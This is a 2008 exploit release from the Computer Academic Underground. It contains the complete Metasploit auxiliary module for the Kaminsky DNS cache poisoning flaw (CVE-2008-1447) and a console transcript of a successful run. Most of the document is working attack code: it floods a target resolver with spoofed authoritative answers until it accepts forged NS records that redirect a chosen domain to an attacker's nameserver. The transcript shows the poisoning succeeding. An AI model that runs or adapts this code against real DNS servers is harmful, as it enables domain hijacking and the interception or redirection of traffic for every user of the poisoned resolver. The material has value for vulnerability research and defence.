bailiwicked_domain.rb.txt

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Computer Academic Underground  
http://www.caughq.org  
Exploit Code  
  
===============/========================================================  
Exploit ID: CAU-EX-2008-0003  
Release Date: 2008.07.23  
Title: bailiwicked_domain.rb  
Description: Kaminsky DNS Cache Poisoning Flaw Exploit for Domains  
Tested: BIND 9.4.1-9.4.2  
Attributes: Remote, Poison, Resolver, Metasploit  
Exploit URL: http://www.caughq.org/exploits/CAU-EX-2008-0003.txt  
Author/Email: I)ruid <druid (@) caughq.org>  
H D Moore <hdm (@) metasploit.com>  
===============/========================================================  
  
Description  
===========  
  
This exploit targets a fairly ubiquitous flaw in DNS implementations  
which allow the insertion of malicious DNS records into the cache of the  
target nameserver. This exploit caches a single malicious nameserver  
entry into the target nameserver which replaces the legitimate  
nameservers for the target domain. By causing the target nameserver to  
query for random hostnames at the target domain, the attacker can spoof  
a response to the target server including an answer for the query, an  
authority server record, and an additional record for that server,  
causing target nameserver to insert the additional record into the  
cache. This insertion completely replaces the original nameserver  
records for the target domain.  
  
  
Example  
=======  
  
# /msf3/msfconsole  
  
## ### ## ##  
## ## #### ###### #### ##### ##### ## #### ######  
####### ## ## ## ## ## ## ## ## ## ## ### ##  
####### ###### ## ##### #### ## ## ## ## ## ## ##  
## # ## ## ## ## ## ## ##### ## ## ## ## ##  
## ## #### ### ##### ##### ## #### #### #### ###  
##  
  
  
=[ msf v3.2-release  
+ -- --=[ 298 exploits - 124 payloads  
+ -- --=[ 18 encoders - 6 nops  
=[ 73 aux  
  
msf > use auxiliary/spoof/dns/bailiwicked_domain  
msf auxiliary(bailiwicked_domain) > set RHOST A.B.C.D  
RHOST => A.B.C.D  
msf auxiliary(bailiwicked_domain) > set DOMAIN example.com  
DOMAIN => example.com  
msf auxiliary(bailiwicked_domain) > set NEWDNS dns01.metasploit.com  
NEWDNS => dns01.metasploit.com  
msf auxiliary(bailiwicked_domain) > set SRCPORT 0  
SRCPORT => 0  
msf auxiliary(bailiwicked_domain) > check  
[*] Using the Metasploit service to verify exploitability...  
[*] >> ADDRESS: A.B.C.D PORT: 50391  
[*] >> ADDRESS: A.B.C.D PORT: 50391  
[*] >> ADDRESS: A.B.C.D PORT: 50391  
[*] >> ADDRESS: A.B.C.D PORT: 50391  
[*] >> ADDRESS: A.B.C.D PORT: 50391  
[*] FAIL: This server uses static source ports and is vulnerable to poisoning  
msf auxiliary(bailiwicked_domain) > dig +short -t ns example.com @A.B.C.D  
[*] exec: dig +short -t ns example.com @A.B.C.D  
  
b.iana-servers.net.  
a.iana-servers.net.  
  
msf auxiliary(bailiwicked_domain) > run  
[*] Switching to target port 50391 based on Metasploit service  
[*] Targeting nameserver A.B.C.D for injection of example.com. nameservers as dns01.metasploit.com  
[*] Querying recon nameserver for example.com.'s nameservers...  
[*] Got an NS record: example.com. 171957 IN NS b.iana-servers.net.  
[*] Querying recon nameserver for address of b.iana-servers.net....  
[*] Got an A record: b.iana-servers.net. 171028 IN A 193.0.0.236  
[*] Checking Authoritativeness: Querying 193.0.0.236 for example.com....  
[*] b.iana-servers.net. is authoritative for example.com., adding to list of nameservers to spoof as  
[*] Got an NS record: example.com. 171957 IN NS a.iana-servers.net.  
[*] Querying recon nameserver for address of a.iana-servers.net....  
[*] Got an A record: a.iana-servers.net. 171414 IN A 192.0.34.43  
[*] Checking Authoritativeness: Querying 192.0.34.43 for example.com....  
[*] a.iana-servers.net. is authoritative for example.com., adding to list of nameservers to spoof as  
[*] Attempting to inject poison records for example.com.'s nameservers into A.B.C.D:50391...  
[*] Sent 1000 queries and 20000 spoofed responses...  
[*] Sent 2000 queries and 40000 spoofed responses...  
[*] Sent 3000 queries and 60000 spoofed responses...  
[*] Sent 4000 queries and 80000 spoofed responses...  
[*] Sent 5000 queries and 100000 spoofed responses...  
[*] Sent 6000 queries and 120000 spoofed responses...  
[*] Sent 7000 queries and 140000 spoofed responses...  
[*] Sent 8000 queries and 160000 spoofed responses...  
[*] Sent 9000 queries and 180000 spoofed responses...  
[*] Sent 10000 queries and 200000 spoofed responses...  
[*] Sent 11000 queries and 220000 spoofed responses...  
[*] Sent 12000 queries and 240000 spoofed responses...  
[*] Sent 13000 queries and 260000 spoofed responses...  
[*] Poisoning successful after 13250 attempts: example.com. == dns01.metasploit.com  
[*] Auxiliary module execution completed  
  
msf auxiliary(bailiwicked_domain) > dig +short -t ns example.com @A.B.C.D  
[*] exec: dig +short -t ns example.com @A.B.C.D  
  
dns01.metasploit.com.  
  
  
Credits  
=======  
  
Dan Kaminsky is credited with originally discovering this vulnerability.  
  
  
References  
==========  
  
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1447  
http://www.kb.cert.org/vuls/id/800113  
  
  
Metasploit  
==========  
  
require 'msf/core'  
require 'net/dns'  
require 'scruby'  
require 'resolv'  
  
module Msf  
  
class Auxiliary::Spoof::Dns::BailiWickedDomain < Msf::Auxiliary  
  
include Exploit::Remote::Ip  
  
def initialize(info = {})  
super(update_info(info,   
'Name' => 'DNS BailiWicked Domain Attack',  
'Description' => %q{  
This exploit attacks a fairly ubiquitous flaw in DNS implementations which   
Dan Kaminsky found and disclosed ~Jul 2008. This exploit replaces the target  
domains nameserver entries in a vulnerable DNS cache server. This attack works  
by sending random hostname queries to the target DNS server coupled with spoofed  
replies to those queries from the authoritative nameservers for that domain.  
Eventually, a guessed ID will match, the spoofed packet will get accepted, and  
the nameserver entries for the target domain will be replaced by the server  
specified in the NEWDNS option of this exploit.  
},  
'Author' => [ 'I)ruid', 'hdm' ],  
'License' => MSF_LICENSE,  
'Version' => '$Revision: 5590 $',  
'References' =>  
[  
[ 'CVE', '2008-1447' ],  
[ 'US-CERT-VU', '8000113' ],  
[ 'URL', 'http://www.caughq.org/exploits/CAU-EX-2008-0003.txt' ],  
],  
'DisclosureDate' => 'Jul 21 2008'  
))  
  
register_options(  
[  
OptPort.new('SRCPORT', [true, "The target server's source query port (0 for automatic)", nil]),  
OptString.new('DOMAIN', [true, 'The domain to hijack', 'example.com']),  
OptString.new('NEWDNS', [true, 'The hostname of the replacement DNS server', nil]),  
OptAddress.new('RECONS', [true, 'Nameserver used for reconnaissance', '208.67.222.222']),  
OptInt.new('XIDS', [true, 'Number of XIDs to try for each query', 10]),  
OptInt.new('TTL', [true, 'TTL for the malicious NS entry', 31337]),  
], self.class)  
  
end  
  
def auxiliary_commands  
return { "check" => "Determine if the specified DNS server (RHOST) is vulnerable" }  
end  
  
def cmd_check(*args)  
targ = args[0] || rhost()  
if(not (targ and targ.length > 0))  
print_status("usage: check [dns-server]")  
return  
end  
  
print_status("Using the Metasploit service to verify exploitability...")  
srv_sock = Rex::Socket.create_udp(  
'PeerHost' => targ,  
'PeerPort' => 53  
)   
  
random = false  
ports = []  
lport = nil  
  
1.upto(5) do |i|  
  
req = Resolv::DNS::Message.new  
txt = "spoofprobe-check-#{i}-#{$$}#{(rand()*1000000).to_i}.red.metasploit.com"  
req.add_question(txt, Resolv::DNS::Resource::IN::TXT)  
req.rd = 1  
  
srv_sock.put(req.encode)  
res, addr = srv_sock.recvfrom()  
  
  
if res and res.length > 0  
res = Resolv::DNS::Message.decode(res)  
res.each_answer do |name, ttl, data|  
if (name.to_s == txt and data.strings.join('') =~ /^([^\s]+)\s+.*red\.metasploit\.com/m)  
t_addr, t_port = $1.split(':')  
  
print_status(" >> ADDRESS: #{t_addr} PORT: #{t_port}")  
t_port = t_port.to_i  
if(lport and lport != t_port)  
random = true  
end  
lport = t_port  
ports << t_port  
end  
end  
end   
end  
  
srv_sock.close  
  
if(ports.length < 5)  
print_status("UNKNOWN: This server did not reply to our vulnerability check requests")  
return  
end  
  
if(random)  
print_status("PASS: This server does not use a static source port. Ports: #{ports.join(", ")}")  
print_status(" This server may still be exploitable, but not by this tool.")  
else  
print_status("FAIL: This server uses static source ports and is vulnerable to poisoning")  
end  
end  
  
def run  
target = rhost()  
source = Rex::Socket.source_address(target)  
sport = datastore['SRCPORT']  
domain = datastore['DOMAIN'] + '.'  
newdns = datastore['NEWDNS']  
recons = datastore['RECONS']  
xids = datastore['XIDS'].to_i  
newttl = datastore['TTL'].to_i  
xidbase = rand(20001) + 20000  
  
address = Rex::Text.rand_text(4).unpack("C4").join(".")  
  
srv_sock = Rex::Socket.create_udp(  
'PeerHost' => target,  
'PeerPort' => 53  
)  
  
# Get the source port via the metasploit service if it's not set  
if sport.to_i == 0  
req = Resolv::DNS::Message.new  
txt = "spoofprobe-#{$$}#{(rand()*1000000).to_i}.red.metasploit.com"  
req.add_question(txt, Resolv::DNS::Resource::IN::TXT)  
req.rd = 1  
  
srv_sock.put(req.encode)  
res, addr = srv_sock.recvfrom()  
  
if res and res.length > 0  
res = Resolv::DNS::Message.decode(res)  
res.each_answer do |name, ttl, data|  
if (name.to_s == txt and data.strings.join('') =~ /^([^\s]+)\s+.*red\.metasploit\.com/m)  
t_addr, t_port = $1.split(':')  
sport = t_port.to_i  
  
print_status("Switching to target port #{sport} based on Metasploit service")  
if target != t_addr  
print_status("Warning: target address #{target} is not the same as the nameserver's query source address #{t_addr}!")  
end  
end  
end  
end  
end  
  
# Verify its not already poisoned  
begin  
query = Resolv::DNS::Message.new  
query.add_question(domain, Resolv::DNS::Resource::IN::NS)  
query.rd = 0  
  
begin  
cached = false  
srv_sock.put(query.encode)  
answer, addr = srv_sock.recvfrom()  
  
if answer and answer.length > 0  
answer = Resolv::DNS::Message.decode(answer)  
answer.each_answer do |name, ttl, data|  
  
if((name.to_s + ".") == domain and data.name.to_s == newdns)  
t = Time.now + ttl  
print_status("Failure: This domain is already using #{newdns} as a nameserver")  
print_status(" Cache entry expires on #{t.to_s}")  
srv_sock.close  
disconnect_ip  
return  
end  
end  
  
end  
end until not cached  
rescue ::Interrupt  
raise $!  
rescue ::Exception => e  
print_status("Error checking the DNS name: #{e.class} #{e} #{e.backtrace}")  
end  
  
  
res0 = Net::DNS::Resolver.new(:nameservers => [recons], :dns_search => false, :recursive => true) # reconnaissance resolver  
  
print_status "Targeting nameserver #{target} for injection of #{domain} nameservers as #{newdns}"  
  
# Look up the nameservers for the domain  
print_status "Querying recon nameserver for #{domain}'s nameservers..."  
answer0 = res0.send(domain, Net::DNS::NS)  
#print_status " Got answer with #{answer0.header.anCount} answers, #{answer0.header.nsCount} authorities"  
  
barbs = [] # storage for nameservers  
answer0.answer.each do |rr0|  
print_status " Got an #{rr0.type} record: #{rr0.inspect}"  
if rr0.type == 'NS'  
print_status " Querying recon nameserver for address of #{rr0.nsdname}..."  
answer1 = res0.send(rr0.nsdname) # get the ns's answer for the hostname  
#print_status " Got answer with #{answer1.header.anCount} answers, #{answer1.header.nsCount} authorities"  
answer1.answer.each do |rr1|  
print_status " Got an #{rr1.type} record: #{rr1.inspect}"  
res2 = Net::DNS::Resolver.new(:nameservers => rr1.address, :dns_search => false, :recursive => false, :retry => 1)   
print_status " Checking Authoritativeness: Querying #{rr1.address} for #{domain}..."  
answer2 = res2.send(domain)  
if answer2 and answer2.header.auth? and answer2.header.anCount >= 1  
nsrec = {:name => rr0.nsdname, :addr => rr1.address}  
barbs << nsrec  
print_status " #{rr0.nsdname} is authoritative for #{domain}, adding to list of nameservers to spoof as"  
end  
end  
end   
end  
  
if barbs.length == 0  
print_status( "No DNS servers found.")  
srv_sock.close  
disconnect_ip  
return  
end  
  
# Flood the target with queries and spoofed responses, one will eventually hit  
queries = 0  
responses = 0  
  
connect_ip if not ip_sock  
  
print_status( "Attempting to inject poison records for #{domain}'s nameservers into #{target}:#{sport}...")  
  
while true  
randhost = Rex::Text.rand_text_alphanumeric(12) + '.' + domain # randomize the hostname  
  
# Send spoofed query  
req = Resolv::DNS::Message.new  
req.id = rand(2**16)  
req.add_question(randhost, Resolv::DNS::Resource::IN::A)  
  
req.rd = 1  
  
buff = (  
Scruby::IP.new(  
#:src => barbs[0][:addr].to_s,  
:src => source,  
:dst => target,  
:proto => 17  
)/Scruby::UDP.new(  
:sport => (rand((2**16)-1024)+1024).to_i,  
:dport => 53  
)/req.encode  
).to_net  
ip_sock.sendto(buff, target)  
queries += 1  
  
# Send evil spoofed answer from ALL nameservers (barbs[*][:addr])  
req.add_answer(randhost, newttl, Resolv::DNS::Resource::IN::A.new(address))  
req.add_authority(domain, newttl, Resolv::DNS::Resource::IN::NS.new(Resolv::DNS::Name.create(newdns)))  
req.add_additional(newdns, newttl, Resolv::DNS::Resource::IN::A.new(address)) # Ignored  
req.qr = 1  
req.aa = 1  
  
xidbase.upto(xidbase+xids-1) do |id|  
req.id = id  
barbs.each do |barb|  
buff = (  
Scruby::IP.new(  
#:src => barbs[i][:addr].to_s,  
:src => barb[:addr].to_s,  
:dst => target,  
:proto => 17  
)/Scruby::UDP.new(  
:sport => 53,  
:dport => sport.to_i  
)/req.encode  
).to_net  
ip_sock.sendto(buff, target)  
responses += 1  
end  
end  
  
# status update  
if queries % 1000 == 0  
print_status("Sent #{queries} queries and #{responses} spoofed responses...")  
end  
  
# every so often, check and see if the target is poisoned...  
if queries % 250 == 0   
begin  
query = Resolv::DNS::Message.new  
query.add_question(domain, Resolv::DNS::Resource::IN::NS)  
query.rd = 0  
  
srv_sock.put(query.encode)  
answer, addr = srv_sock.recvfrom()  
  
if answer and answer.length > 0  
answer = Resolv::DNS::Message.decode(answer)  
answer.each_answer do |name, ttl, data|  
if((name.to_s + ".") == domain and data.name.to_s == newdns)  
print_status("Poisoning successful after #{queries} attempts: #{domain} == #{newdns}")  
srv_sock.close  
disconnect_ip  
return  
end  
end  
end  
rescue ::Interrupt  
raise $!  
rescue ::Exception => e  
print_status("Error querying the DNS name: #{e.class} #{e} #{e.backtrace}")  
end  
end  
  
end  
  
end  
  
end  
end  
  
  
--   
I)ruid, C²ISSP  
[email protected]  
http://druid.caughq.org  
`